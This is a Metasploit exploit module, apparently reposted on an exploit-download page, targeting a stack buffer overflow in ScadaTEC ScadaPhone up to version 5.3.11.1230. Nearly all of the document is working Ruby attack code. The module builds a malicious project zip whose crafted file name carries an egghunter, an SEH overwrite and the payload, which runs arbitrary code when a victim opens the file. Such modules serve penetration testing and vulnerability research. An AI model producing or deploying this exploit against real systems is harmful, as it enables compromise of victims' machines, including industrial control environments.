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ScadaTEC ScadaPhone ⇐ v5.3.11.1230 stack buffer overflow vulnerability download
##
# $Id: scadaphone_zip.rb 14034 2011-10-23 11:56:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
        Rank = GoodRanking

        include Msf::Exploit::FILEFORMAT
        include Msf::Exploit::Remote::Seh
        include Msf::Exploit::Remote::Egghunter

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'ScadaTEC ScadaPhone <= v5.3.11.1230 Stack Buffer Overflow',
                        'Description'    => %q{
                                        This module exploits a stack-based buffer overflow vulnerability in
                                version 5.3.11.1230 of scadaTEC's ScadaPhone.

                                In order for the command to be executed, an attacker must convince someone to
                                load a specially crafted project zip file with ScadaPhone.
                                By doing so, an attacker can execute arbitrary code as the victim user.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         =>
                                [
                                        'mr_me <steventhomasseeley[at]gmail.com>', # found + msf
                                ],
                        'Version'        => '$Revision: 14034 $',
                        'References'     =>
                                [
                                        #[ 'CVE', '' ],
                                        [ 'OSVDB', '75375' ],
                                        [ 'URL', 'http://www.scadatec.com/' ],
                                        [ 'URL', 'http://www.exploit-db.com/exploits/17817/' ],
                                ],
                        'Platform'          => [ 'win' ],
                        'Payload'           =>
                                {
                                        'Space'    => 700,
                                        'BadChars' => "\x00\x0a\x0d",
                                        'DisableNops' => true,
                                },
                        'Targets'        =>
                                [
                                        # POP ESI; POP EBX; RETN [ScadaPhone.exe]
                                        [ 'Windows Universal', { 'Ret' => 0x004014F4 } ],
                                ],
                        'DisclosureDate' => 'Sep 12 2011',
                        'DefaultTarget'  => 0))

                        register_options(
                                [
                                        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
                                ], self.class)
        end

        def exploit

                eggoptions =
                {
                        :checksum => false,
                        :eggtag => 'zipz'
                }

                hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

                fname = rand_text_alpha_upper(229)
                fname << hunter
                fname << rand_text_alpha_upper(48-hunter.length)
                fname << Rex::Arch::X86.jmp_short(-50)
                fname << rand_text_alpha_upper(2)
                fname << [target.ret].pack('V')
                fname << rand_text_alpha_upper(100)
                fname << egg
                fname << rand_text_alpha_upper(4096-fname.length)
                fname << [0x7478741e].pack('V')

                zip = Rex::Zip::Archive.new
                xtra = [0xdac0ffee].pack('V')
                comment = [0xbadc0ded].pack('V')
                zip.add_file(fname, xtra, comment)

                # Create the file
                print_status("Creating '#{datastore['FILENAME']}' file...")

                file_create(zip.pack)
        end

end
example usage
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